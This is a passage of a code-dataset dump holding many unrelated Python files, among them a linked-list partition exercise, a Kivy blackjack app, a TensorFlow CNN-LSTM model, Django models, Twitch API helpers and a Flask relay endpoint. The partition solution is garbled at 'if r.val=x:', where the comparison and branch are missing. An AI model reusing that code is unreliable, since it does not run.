'contacts', collation=Collation(locale='fr_CA'))\n\n# Delete collection\ndb.drop_collection('addressbook')\n\n# Count Documents\ncollection.count_documents({\"query\": \"query\"})\n","sub_path":"mongoDB/collections.py","file_name":"collections.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"12086025","text":"\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\nclass ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\nclass Solution:\n \"\"\"\n @param head: The first node of linked list.\n @param x: an integer\n @return: a ListNode \n \"\"\"\n def partition(self, head, x):\n # write your code here\n s1=ListNode(-1)\n s1.next=None\n s2=ListNode(-1)\n s2.next=None\n p,q=s1,s2\n r=head\n net=None\n while r:\n nxt=r.next\n r.next=None\n if r.val=x:\n q.next=r\n q=q.next\n r=nxt\n p.next=s2.next\n s2.next=None\n return s1.next\n","sub_path":"LintCode/PartitionList.py","file_name":"PartitionList.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"479301656","text":"#!/usr/local/bin/python3\n\nfrom kivy.app import App\nfrom kivy.uix.image import Image\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.relativelayout import RelativeLayout\nfrom kivy.uix.label import Label\nfrom kivy.properties import ListProperty, ObjectProperty\n\nfrom blackjack import *\n\nfrom copy import deepcopy\n\nclass CardView(RelativeLayout):\n pass\n\nclass PointsLabel(Label):\n pass\n\nclass Screen(BoxLayout):\n \n playerhands = ListProperty()\n dealercards = ListProperty()\n player_screen = ObjectProperty()\n dealer_screen = ObjectProperty()\n \n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n \n self.playerhands = player.hands\n self.dealercards = dealer.hand.cards\n \n def k_play(self, screen, hand):\n screen.clear_widgets()\n x = 0\n for i in hand.cards:\n screen.add_widget(Image(source=\n './Cards/'+i.rank.lower()+'_'+ i.suit.lower()+'.png',\n pos=(x,0)))\n x += 35\n if len(hand.cards) > 1:\n screen.add_widget(PointsLabel(text=str(hand.get_value()), \n pos = (x + 40, 0)\n ))\n return screen\n \n def on_playerhands(self, *args):\n self.player_screen.clear_widgets()\n for hand in self.playerhands:\n cardview = CardView()\n screen = self.update_player_hand(cardview, hand)\n self.player_screen.add_widget(screen)\n \n def update_player_hand(self, screen, hand):\n self.k_play(screen, hand)\n screen.add_widget(Label(\n text='',\n font_size='25dp',\n pos_hint={'center_x': .6, 'center_y': 1}\n ))\n return screen\n \n def on_dealercards(self, *args):\n self.k_play(self.dealer_screen, dealer.hand)\n \n def hit(self):\n a = player.hands.pop()\n a.deal()\n player.hands.append(a) \n self.playerhands = deepcopy(player.hands)\n print (self.playerhands)\n \n def double(self):\n dealer.hand.deal()\n self.dealercards = dealer.hand.cards\n \n def split(self):\n index = player.hands.index(player_hand)\n player.hands.remove(player_hand)\n i = 0\n for card in player_hand.cards:\n split_hand = Hand(card, 5, shoe=shoe)\n #split_hand.set_split()\n player.hands.insert(index + i, split_hand)\n i += 1\n self.playerhands = deepcopy(player.hands)\n \n \nclass Bj4App(App):\n def build(self):\n return Screen()\n \n \nif __name__ == '__main__':\n shoe = Shoe()\n player = Player()\n player_hand = Hand(bet=5, shoe=shoe)\n dealer = Dealer(shoe=shoe)\n player_hand.deal()\n player.hands.append(player_hand)\n \n Bj4App().run()\n\n\n","sub_path":"archive/bj_kv_4.py","file_name":"bj_kv_4.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"325797293","text":"from ROOT import *\nimport aa\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport h5py\n\nfrom tf_help import conv3d, maxpool3d, weight, bias\nfrom helper_functions import EVT_TYPES, NUM_CLASSES, PATH, NUM_TRAIN_EVENTS\n\ntitle = 'temporal_atm'\nnum_mini_timeslices = 50 \n\nx = tf.placeholder(tf.float32, [None, num_mini_timeslices, 13, 13, 18, 3], name=\"X_placeholder\")\ny = tf.placeholder(tf.float32, [None, NUM_CLASSES], name=\"Y_placeholder\")\nkeep_prob = tf.placeholder(tf.float32)\nlearning_rate = tf.placeholder(tf.float32)\n\nnodes = {\"l1\": 25,\n \"l2\": 25,\n \"l3\": 80,\n \"l4\": 40,\n \"l5\": 20} \n \nweights = {\"l1\": weight([4, 4, 4, 3, nodes[\"l1\"]]),\n \"l2\": weight([3, 3, 3, nodes[\"l1\"], nodes[\"l2\"]]),\n \"l3\": weight([11025, nodes[\"l3\"]]),\n \"l4\": weight([nodes[\"l3\"], nodes[\"l4\"]])}\n\nbiases = {\"l1\": bias(nodes[\"l1\"]),\n \"l2\": bias(nodes[\"l2\"]),\n \"l3\": bias(nodes[\"l3\"]),\n \"l4\": bias(nodes[\"l4\"])}\n\ndef cnn(mini_timeslice):\n \"\"\" input: event tensor numpy shape 1, 13, 13, 18, 3\"\"\"\n conv1 = tf.nn.relu(\n conv3d(mini_timeslice, weights[\"l1\"]) + biases[\"l1\"])\n \n conv1 = tf.contrib.layers.batch_norm(conv1)\n\n conv2 = tf.nn.relu(\n conv3d(conv1, weights[\"l2\"]) + biases[\"l2\"])\n\n conv1 = tf.contrib.layers.batch_norm(conv1)\n\n conv2 = maxpool3d(conv2)\n\n conv2 = tf.contrib.layers.batch_norm(conv2)\n\n #elements = np.prod(conv2._shape_as_list()[1:])\n\n fc = tf.reshape(conv2, [-1, 11025])\n \n fc = tf.nn.relu(\n tf.matmul(fc, weights[\"l3\"]) + biases[\"l3\"])\n\n fc = tf.nn.dropout(fc, keep_prob)\n\n conv1 = tf.contrib.layers.batch_norm(fc)\n\n fc = tf.nn.relu(\n tf.matmul(fc, weights[\"l4\"]) + biases[\"l4\"])\n\n return fc\n\ndef km3nnet(x):\n \"\"\" input: event tensor numpy shape num_minitimeslices, 18, 18, 13, 3\n output: label prediction shape 3 (one hot encoded)\"\"\"\n # loop over mini time slices\n mini_timeslices = tf.unstack(x, num_mini_timeslices, 1)\n out_time_bin = []\n for ts in mini_timeslices:\n out_time_bin.append(cnn(ts))\n c = tf.concat(out_time_bin, 1)\n c = tf.reshape(c, [-1, num_mini_timeslices, nodes[\"l4\"]])\n c = tf.unstack(c, num_mini_timeslices, 1)\n lstm_layer = tf.contrib.rnn.BasicLSTMCell(nodes[\"l5\"], forget_bias=1.)\n outputs, _ = tf.contrib.rnn.static_rnn(lstm_layer, c, dtype=tf.float32)\n output = tf.matmul(outputs[-1], weight([nodes[\"l5\"], NUM_CLASSES])) + bias(NUM_CLASSES)\n\n return output \n\n\noutput = km3nnet(x)\nprediction = tf.nn.softmax(output)\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=output, labels=y))\n\n#optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\noptimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=.7)\n#gvs = optimizer.compute_gradients(cost)\n#capped_gvs= [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gvs]\n#train_op = optimizer.apply_gradients(capped_gvs)\ntrain_op = optimizer.minimize(cost)\n\n\ncorrect = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct, 'float'))\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"models/temporal_model.py","file_name":"temporal_model.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"643076242","text":"#encoding:utf-8\nfrom django.db import models\n\n\nfrom agent.consts import STATUS_CHOICES\n# Create your models here.\n\nclass AgentInformation(models.Model):\n nick = models.CharField(verbose_name='昵称',max_length=100,blank=True)\n account = models.IntegerField(verbose_name='账号',unique=True)\n nmp_user_id = models.CharField(verbose_name='新势力user_id',max_length=100)\n mobile = models.CharField (verbose_name='联系手机号',max_length=11,unique=True)\n name = models.CharField(verbose_name='联系人姓名',max_length=36,blank=True)\n status = models.IntegerField(verbose_name='代理状态',choices=STATUS_CHOICES,max_length=1)\n creat_time = models.DateTimeField(verbose_name='创建时间',auto_now_add=True)\n update_time = models.DateTimeField(verbose_name='更新时间',auto_now=True)\n is_del = models.BooleanField(verbose_name='是否删除',default=False)\n\n class Meta:\n db_table = 'agents'\n verbose_name = verbose_name_plural = '代理商'\n\nclass AgentDetail(models.Model):\n user = models.ForeignKey(AgentInformation,related_name='agent_detail',on_delete=models.CASCADE)\n product = models.ForeignKey('operate.CatenaryProduct',related_name='agent_product',on_delete=models.CASCADE)\n is_del = models.BooleanField(verbose_name='是否解约',default=False)\n create_time = models.DateTimeField(auto_now_add=True)\n update_time = models.DateTimeField(auto_now=True)\n\n class Meta:\n db_table = 'agent_details'\n verbose_name = verbose_name_plural = '代理商详情'\n\nclass ContractRule(models.Model):\n from_nums = models.IntegerField(verbose_name='开始数量',default=0)\n end_nums = models.IntegerField(verbose_name='终止数量',default=0)\n rebate = models.FloatField(verbose_name='返利金额',default=0, blank=True)\n rule = models.ForeignKey('operate.DrugNettingArea',related_name='drug_area',on_delete=models.CASCADE)\n is_del = models.BooleanField(verbose_name='是否删除',default=False)\n create_time = models.DateTimeField(auto_now_add=True)\n update_time = models.DateTimeField(auto_now=True)\n\n class Meta:\n db_table = 'contract_rules'\n verbose_name = verbose_name_plural = '签约规则'\n\nclass PeriodTotalSale(models.Model):\n product = models.ForeignKey('operate.CatenaryProduct',related_name='product',on_delete=models.CASCADE)\n hang_region_code = models.CharField(verbose_name='挂网区域',max_length=12)\n rebate_object_id = models.IntegerField(verbose_name='销售代表id')\n totail_num = models.IntegerField(verbose_name='代理该药品的销售总量',default=0)\n totail_level = models.CharField(verbose_name='销售等级',max_length=10)\n current_price = models.FloatField(verbose_name='当前配网价格',default=0)\n current_rebate = models.FloatField(verbose_name='当前提成金额',default=0)\n confirm_totail_num = models.IntegerField(verbose_name='实际代理该药品的销售总量',default=0)\n confirm_totail_level = models.CharField(verbose_name='实际销售等级',max_length=10)\n confirm_totail_rebate = models.FloatField(verbose_name='实际当前提成金额',default=0)\n current_period = models.CharField(verbose_name='当前周期',max_length=12)\n create_time = models.DateTimeField(auto_now_add=True)\n update_time = models.DateTimeField(auto_now=True)\n\n class Meta:\n db_table = 'period_total_sales'\n verbose_name = verbose_name_plural = '统计周期内的销售总量'\n\nclass PharmacyRelated(models.Model):\n pharmacy_account = models.CharField(verbose_name='药店账户',max_length=32)\n pharmacy_account_id = models.CharField(verbose_name='药店id',max_length=64)\n sales_account_id = models.CharField(verbose_name='销售代表账号',max_length=32)\n product = models.ForeignKey('operate.CatenaryProduct',related_name='product',on_delete=models.CASCADE)\n proxy = models.ForeignKey(AgentInformation,related_name='agent',on_delete=models.CASCADE)\n is_del = models.BooleanField(verbose_name='是否解绑',default=False)\n status = models.BooleanField(verbose_name='是否自动升级',default=False)\n is_apply = models.BooleanField(verbose_name='销售代表是否主动申请',default=False)\n sales = models.ForeignKey(PeriodTotalSale,related_name='period_sale_totail',on_delete=models.CASCADE)\n create_time = models.DateTimeField(auto_now_add=True)\n update_time = models.DateTimeField(auto_now=True)\n\n class Meta:\n db_table = 'pharmacy_related'\n verbose_name = verbose_name_plural = '药店相关'\n","sub_path":"yaozc/agent/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"441163943","text":"import collections\nclass Solution(object):\n def findLHS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n a=collections.Counter(nums)\n nums.sort()\n b=0\n for i in range(int(nums[-1])):\n b=max(a[i]+a[i+1], b)\n return b\n \nnums=[1,3,2,2,5,2,3,7]\nprint(Solution().findLHS(nums))\n","sub_path":"LongestHarmoniousSubsequence.py","file_name":"LongestHarmoniousSubsequence.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"350162407","text":"from flask import Flask, request, jsonify\nimport RPi.GPIO as GPIO\nimport time\n\napp = Flask(__name__)\nchannel = 14\n\n# GPIO setup\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(channel, GPIO.OUT)\n\n\ndef relay_on(pin):\n GPIO.output(pin, GPIO.HIGH) # Замыкает реле\n\n\ndef relay_off(pin):\n GPIO.output(pin, GPIO.LOW) # Размыкает реле\n\n\n@app.route('/open', methods=[\"POST\"])\ndef post():\n print(request.data)\n relay_on(channel)\n time.sleep(5)\n relay_off(channel)\n time.sleep(1)\n GPIO.cleanup()\n\n return jsonify({'status': 'opened'})\n\n\napp.run(host='0.0.0.0', port=8090)\n","sub_path":"alternative-iss-flask.py","file_name":"alternative-iss-flask.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"586372065","text":"import asyncio\nfrom aio_pika import connect, IncomingMessage, RobustConnection\n\nloop = asyncio.get_event_loop()\n\nfrom datetime import datetime\nfrom random import randrange\n\ncounter = 0\n\nasync def on_message(message: IncomingMessage):\n global counter\n async with message.process():\n counter += 1\n print(\" [%s] Received message date: %s\" % (counter, datetime.utcnow()))\n await asyncio.sleep(randrange(1, 9) / 10)\n\n\n\nasync def main():\n # Perform connection\n connection = RobustConnection(\"amqp://guest:guest@0.0.0.0:35672/\")\n await connection.connect()\n\n # Creating a channel\n channel = await connection.channel()\n await channel.set_qos(prefetch_count=1)\n\n # Declaring queue\n queue = await channel.declare_queue(\"task_queue\", durable=True)\n\n # Start listening the queue with name 'task_queue'\n await queue.consume(on_message)\n\n\nif __name__ == \"__main__\":\n loop = asyncio.get_event_loop()\n loop.create_task(main())\n\n # we enter a never-ending loop that waits for data and runs\n # callbacks whenever necessary.\n print(\" [*] Waiting for messages. To exit press CTRL+C\")\n loop.run_forever()\n","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"90369498","text":"class Stack():\n def __init__(self):\n self.stack = []\n\n def push(self, value):\n self.stack.append(value)\n\n def pop(self):\n if self.size() > 0:\n return self.stack.pop()\n else:\n return None\n\n def size(self):\n return len(self.stack)\n\n\ndef earliest_ancestor(ancestors, starting_node, counter=0):\n # DFS and store a max_len\n \"\"\"\n Return a ID of earliest ancestor using depth-first search\n \"\"\"\n # Create a stack\n stack = Stack()\n # Push the starting vertex\n stack.push([starting_node])\n # Create a set to store visited\n visited = set()\n # While the stack is not empty\n while stack.size() > 0:\n # Pop the first path\n path = stack.pop()\n # get parent from last pair\n parent = path[-1]\n # Check if it's been visited\n # If it hasn't been visited\n if parent not in visited:\n # Mark it as visited\n visited.add(parent)\n # Push all it's neighbors onto the stack\n for grandparent in ancestors:\n if grandparent[1] == parent:\n path_copy = path.copy()\n path_copy.append(grandparent[0])\n stack.push(path_copy)\n if len(path) < 2:\n return -1\n else:\n return path[-1]\n\n\nif __name__ == \"__main__\":\n ancestors = [(1, 3), (2, 3), (3, 6),\n (5, 6), (5, 7), (4, 5),\n (4, 8), (8, 9), (11, 8), (10, 1)]\n starting_node = 6\n earliest_ancestor(ancestors, starting_node)","sub_path":"projects/ancestor/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"350993116","text":"#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n# Tiago de Freitas Pereira \n\n\"\"\"\nA script to run biometric recognition baselines\n\"\"\"\n\n\nfrom .. import load_resource\nimport os\nfrom ..baseline import get_available_databases, search_preprocessor\nfrom bob.extension.scripts.click_helper import (\n verbosity_option, log_parameters)\nimport click\nimport tempfile\nimport logging\n\nlogger = logging.getLogger(\"bob.bio.base\")\n\n\nEPILOG = '''\\b\nExample:\n $ bob bio baseline eigenface atnt -vvv\n\nwhich will run the eigenface baseline (from bob.bio.face) on the atnt\ndatabase.\n'''\n\n\n@click.command(context_settings={'ignore_unknown_options': True,\n 'allow_extra_args': True}, epilog=EPILOG)\n@click.argument('baseline', required=True)\n@click.argument('database', required=True)\n@click.option('--parallel-training', default='verify', show_default=True,\n type=click.Choice(('verify', 'gmm', 'isv', 'ivector')),\n help='Which script to use for training the algorithm. Some '\n 'algorithms would train more efficiently using a different '\n 'script.')\n@verbosity_option()\n@click.pass_context\ndef baseline(ctx, baseline, database, parallel_training, **kwargs):\n \"\"\"Run a biometric recognition baseline.\n\n \\b\n Check out all baselines available by running:\n `resource.py --types baseline`\n and all available databases by running:\n `resource.py --types database`\n\n This script accepts parameters accepted by verify.py as well.\n See `verify.py --help` for the extra options that you can pass.\n\n Hint: pass `--grid demanding` to run the baseline on the SGE grid.\n\n Hint: pass `--temp-directory ` to set the directory for temporary files\n\n Hint: pass `--result-directory ` to set the directory for resulting score files\n\n \"\"\"\n log_parameters(logger)\n\n # Triggering training for each baseline/database\n loaded_baseline = load_resource(\n baseline, 'baseline', package_prefix=\"bob.bio.\")\n\n # find the compatible preprocessor for this database\n database_data = get_available_databases()[database]\n db = search_preprocessor(database, loaded_baseline.preprocessors.keys())\n preprocessor = loaded_baseline.preprocessors[db]\n\n # this is the default sub-directory that is used\n if \"-T\" in ctx.args or \"--temp-directory\" in ctx.args:\n sub_directory = os.path.join(database, baseline)\n else:\n sub_directory = baseline\n\n logger.debug('Database groups are %s', database_data[\"groups\"])\n\n # call verify with newly generated config file. We will create a new config\n # file to allow people to use chain-loading and further modify the\n # baselines. See: https://gitlab.idiap.ch/bob/bob.bio.video/issues/12\n config = '''\npreprocessor = '{preprocessor}'\nextractor = '{extractor}'\nalgorithm = '{algorithm}'\ndatabase = '{database}'\nsub_directory = '{sub_directory}'\ngroups = ['{groups}']\nverbose = {verbose}\n'''.format(\n preprocessor=preprocessor,\n extractor=loaded_baseline.extractor,\n algorithm=loaded_baseline.algorithm,\n database=database,\n sub_directory=sub_directory,\n groups=\"', '\".join(database_data[\"groups\"]),\n verbose=ctx.meta['verbosity'],\n )\n\n if parallel_training == \"verify\":\n from .verify import main\n elif parallel_training == \"gmm\":\n from bob.bio.gmm.script.verify_gmm import main\n elif parallel_training == \"isv\":\n from bob.bio.gmm.script.verify_isv import main\n elif parallel_training == \"ivector\":\n from bob.bio.gmm.script.verify_ivector import main\n\n algorithm = loaded_baseline.algorithm\n if 'gmm' in algorithm and parallel_training != 'gmm':\n logger.warning(\"GMM algorithms can train faster using the \"\n \"``--parallel-training gmm`` option.\")\n if 'isv' in algorithm and parallel_training != 'isv':\n logger.warning(\"ISV algorithms can train faster using the \"\n \"``--parallel-training isv`` option.\")\n if 'ivector' in algorithm and parallel_training != 'ivector':\n logger.warning(\"ivector algorithms can train faster using the \"\n \"``--parallel-training ivector`` option.\")\n\n with tempfile.NamedTemporaryFile(mode='w+t', prefix='{}_'.format(baseline),\n suffix='.py', delete=False, dir='.') as f:\n f.write(config)\n f.flush()\n f.seek(0)\n main([f.name] + ctx.args)\n click.echo(\"You may want to delete `{}' after the experiments are \"\n \"finished running.\".format(f.name))\n","sub_path":"bob/bio/base/script/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"166609318","text":"\"\"\"\n存在一个按升序排列的链表,给你这个链表的头节点 head ,请你删除链表中所有存在数字重复情况的节点,只保留原始链表中 没有重复出现 的数字。\n\n返回同样按升序排列的结果链表。\n\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n def add(self, val):\n node = ListNode(val)\n curr = self\n while curr.next:\n curr = curr.next\n curr.next = node\n return node\n\n def __str__(self):\n val_list = []\n curr = self\n\n while curr:\n val_list.append(curr.val)\n curr = curr.next\n return '->'.join(map(str, val_list))\n\n\nclass Solution:\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n # 使用哑节点的原因是为了解决头节点可能被删除的问题\n dummy_node = ListNode(-1)\n dummy_node.next = head\n\n curr_node = dummy_node\n\n while head and head.next:\n if head.val == head.next.val:\n while head and head.next and head.val == head.next.val:\n head = head.next\n head = head.next\n curr_node.next = head\n else:\n head = head.next\n curr_node = curr_node.next\n return dummy_node.next\n\n\nif __name__ == \"__main__\":\n n = ListNode(1)\n n.add(2).add(3).add(3).add(4).add(4).add(5)\n\n print(n)\n","sub_path":"algorithm/LeetCode_82_删除链表中的重复元素||.py","file_name":"LeetCode_82_删除链表中的重复元素||.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"368240804","text":"from matplotlib import pyplot as plt\nfrom ProjectData import *\n\nfor col in attNoK:\n plt.figure()\n plt.boxplot(dOriginal[col].values)\n plt.ylabel(col,fontsize=13)\n plt.xticks([])\n #plt.title(col+' - boxplot')\n plt.savefig(\"../Figures/BoxPlots/\"+col+\".png\")","sub_path":"Scripts/oldScripts/BoxPlots.py","file_name":"BoxPlots.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"641781735","text":"import datetime\n\n\ndef calculate_start_end_date(start_year=2008, start_month=2):\n\n # From the beginning of a month\n start_date = datetime.date(start_year, start_month, 1)\n end_year, end_month = start_year, start_month + 1\n\n if end_month > 12:\n end_year += 1\n end_month = 1\n\n end_date = datetime.date(end_year, end_month, 1) - datetime.timedelta(days=1)\n return start_date, end_date\n","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"158375769","text":"import requests\nimport json\nfrom django.conf import settings\n\n# login limit is 100; fix this later\ndef usersInfo(usernames):\n if usernames is None or len(usernames) == 0:\n return []\n url = 'https://api.twitch.tv/helix/users?'\n userLogins = ['login=' + username for username in usernames]\n params = '&'.join(userLogins)\n url += params\n headers = {'Client-ID': settings.TWITCH_CLIENT_ID}\n response = requests.get(url, headers=headers)\n json_data = json.loads(response.text)\n data = json_data['data']\n return data\n \n# input: username\n# output: boolean True if username is a valid Twitch username; False otherwise\ndef userValid(username):\n if username is None:\n return False\n return usersValid([username])[username]\n \n# input: list of usernames\n# output: dict of usernames as keys and boolean as values\ndef usersValid(usernames):\n if usernames is None or len(usernames) == 0:\n return {}\n data = usersInfo(usernames)\n userValidity = dict()\n for username in usernames:\n userValidity[username] = False\n for userInfo in data:\n userValidity[userInfo['login']] = True\n return userValidity\n \ndef userId(username):\n id = None\n userDict = userIds([username])\n if username in userDict:\n id = userDict[username]\n return id\n \ndef userIds(usernames):\n data = usersInfo(usernames)\n userIds = dict()\n for userInfo in data:\n userIds[userInfo['login']] = userInfo['id']\n return userIds\n \n \ndef streamsInfo(ids):\n if ids is None or len(ids) == 0:\n return []\n url = 'https://api.twitch.tv/helix/streams?'\n userIds = ['user_id=' + userId for userId in ids]\n params = '&'.join(userIds)\n url += params\n headers = {'Client-ID': settings.TWITCH_CLIENT_ID}\n response = requests.get(url, headers=headers)\n json_data = json.loads(response.text)\n data = json_data['data']\n return data\n \n# expects id\ndef userOnline(userId):\n if userId is None:\n return False\n return usersOnline([userId])[userId]\n \n# will need user_id to match response to username, so will need to store user_id with livestream model\ndef usersOnline(userIds):\n if userIds is None or len(userIds) == 0:\n return {}\n data = streamsInfo(userIds)\n livestreams = dict()\n for userId in userIds:\n livestreams[userId] = False\n for streamInfo in data:\n userId = streamInfo['user_id']\n livestreams[userId] = streamInfo['type'] == 'live' \n return livestreams","sub_path":"livestreamcurator/livestream/twitchAPI.py","file_name":"twitchAPI.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"496131110","text":"#!/usr/bin/env python\n\"\"\"Preprocessing script from colab notebook\n\npython3 -m process_slices -o $DATA_DIR/expers/geographic/ -p ../conf/geo/postprocess.yaml\n\"\"\"\nfrom addict import Dict\nfrom glacier_mapping.data.mask import generate_masks\nfrom glacier_mapping.data.slice import write_pair_slices\nimport argparse\nimport geopandas as gpd\nimport glacier_mapping.data.process_slices_funs as pf\nimport numpy as np\nimport pandas as pd\nimport pathlib\nimport yaml\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Preprocess raw tiffs into slices\")\n parser.add_argument(\"-o\", \"--output_dir\", type=str)\n parser.add_argument(\"-m\", \"--slices_meta\", type=str)\n parser.add_argument(\"-p\", \"--postprocess_conf\", type=str, default = \"conf/process_geo.conf\")\n args = parser.parse_args()\n\n # data directories\n output_dir = pathlib.Path(args.output_dir)\n\n # require that all slices have above filter_percentage[k] for each channel\n pconf = Dict(yaml.safe_load(open(args.postprocess_conf, \"r\")))\n slice_meta = gpd.read_file(args.slices_meta)\n print(\"filtering\")\n\n keep_ids = []\n for k, channel in enumerate(pconf.filter_channels):\n cur_ids = pf.filter_directory(\n slice_meta,\n filter_perc=pconf.filter_percentages[k],\n filter_channel=channel\n )\n if len(keep_ids) > 0:\n keep_ids = [x for x in cur_ids if x in keep_ids]\n else:\n keep_ids += cur_ids\n\n # validation: get ids for the ones that will be training vs. testing.\n print(\"reshuffling\")\n split_fun, split_args = next(iter(pconf.split_method.items()))\n split_fun = getattr(pf, split_fun)\n split_ids = split_fun(keep_ids, slice_meta=slice_meta, **split_args)\n target_locs = pf.reshuffle(split_ids, output_dir)\n\n # global statistics: get the means and variances in the train split\n print(\"getting stats\")\n pconf.process_funs.normalize.stats_path = \\\n pathlib.Path(pconf.process_funs.normalize.stats_path)\n\n stats = pf.generate_stats(\n [p[\"img\"] for p in target_locs[\"train\"]],\n pconf.normalization_sample_size,\n pconf.process_funs.normalize.stats_path,\n )\n\n # postprocess individual images (all the splits)\n for split_type in target_locs:\n print(f\"postprocessing {split_type}...\")\n for i in range(len(target_locs[split_type])):\n img, mask = pf.postprocess(\n target_locs[split_type][i][\"img\"],\n target_locs[split_type][i][\"mask\"],\n pconf.process_funs,\n )\n\n np.save(target_locs[split_type][i][\"img\"], img)\n np.save(target_locs[split_type][i][\"mask\"], mask)\n","sub_path":"scripts/process_slices.py","file_name":"process_slices.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"185220153","text":"from PyQt5.QtCore import QThread\nfrom espeak import espeak\nimport time\n\nclass T2SThread(QThread):\n\n def __init__(self):\n super(T2SThread, self).__init__()\n self.speak = espeak.ESpeak()\n self.speak.voice = 'es-la'\n self.speak.speed = 190\n self.speak.pitch = 75\n self.speak.amplitude = 80\n self.running = False\n self.onSpeak = False\n self.text = \"\"\n self.delay = 0\n\n def run(self):\n self.running = True\n while self.running:\n time.sleep(0.01)\n if self.onSpeak:\n self.speak.say(self.text)\n self.onSpeak = False\n\n def stop(self):\n self.running = False\n\n def say_something(self, text, delay = 0):\n self.text = text\n self.delay = delay\n self.onSpeak = True\n\n def get_on_speak(self):\n return self.onSpeak","sub_path":"highlights/InteraccionOralFinal/T2SThread.py","file_name":"T2SThread.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"295123271","text":"# Created by Helic on 2017/9/18\r\n\r\nimport jieba\r\nimport jieba.posseg as pseg\r\nimport json\r\nimport re\r\n\r\n\r\nclass NLU:\r\n def __init__(self):\r\n jieba.load_userdict('chatbot/NLU/data/dic.txt')\r\n with open(\"chatbot/NLU/data/slot_semantic_dict.json\", encoding='utf-8') as f:\r\n self.slot_dict = json.load(f)\r\n\r\n # 读取stopwords\r\n self.stopwords = []\r\n with open(\"chatbot/NLU/data/stopword.txt\", 'r', encoding='utf-8') as f:\r\n for item in f.readlines():\r\n self.stopwords.append(item.strip())\r\n self.stopwords.extend([',', '。', '?', '“', '”', '‘', '’', ';', ':', '!', '、', '(', ')', '-', '=',\r\n '【', '】', ' ', '{', '}', ',', '.', '/', '\\\\', '(', ')', '?', '!', ';', ':', '\\'',\r\n '\"', '[', ']', '~', '\\n', '\\t'])\r\n # diaact\r\n self.diaact = ['inform', 'request', 'confirm_question', 'confirm_answer', 'thanks', 'bye', 'select', 'greeting']\r\n # 结束语\r\n self.bye_words = ['再见', 'bye', '拜', '拜拜', '白白', 'byebye']\r\n # greeting\r\n self.greeting_words = ['您好', '你好']\r\n # thanks\r\n self.thanks_words = ['谢谢', 'thanks']\r\n # user request slots\r\n self.request_slots = ['school_location', 'school_phone', 'sale', 'other_contact', 'cut_in', 'class_schedule',\r\n 'have_school_somewhere', 'attend_class_alone', 'allow_audition', 'audition_free',\r\n 'child_attend', 'allow_parents_together', 'class_length', 'audition_introduction',\r\n 'textbook', 'fulltime_or_sparetime', 'class_size', 'length_of_per_period',\r\n 'allow_return_premium', 'lesson_accompany', 'school_type', 'teacher_nation', 'class_type',\r\n 'online_course', 'online_course_location', 'fee']\r\n # user inform slots\r\n self.inform_slots = ['client_name', 'client_gender', 'child_name', 'child_age', 'child_grade', 'client_location'\r\n , 'reserve_location', 'phone_number', 'english_level', 'special_need',\r\n 'attend_class_before', 'know_about_ruisi', 'user_goal', 'person_accompany', 'user_goal']\r\n\r\n def participle(self, raw_sentence):\r\n 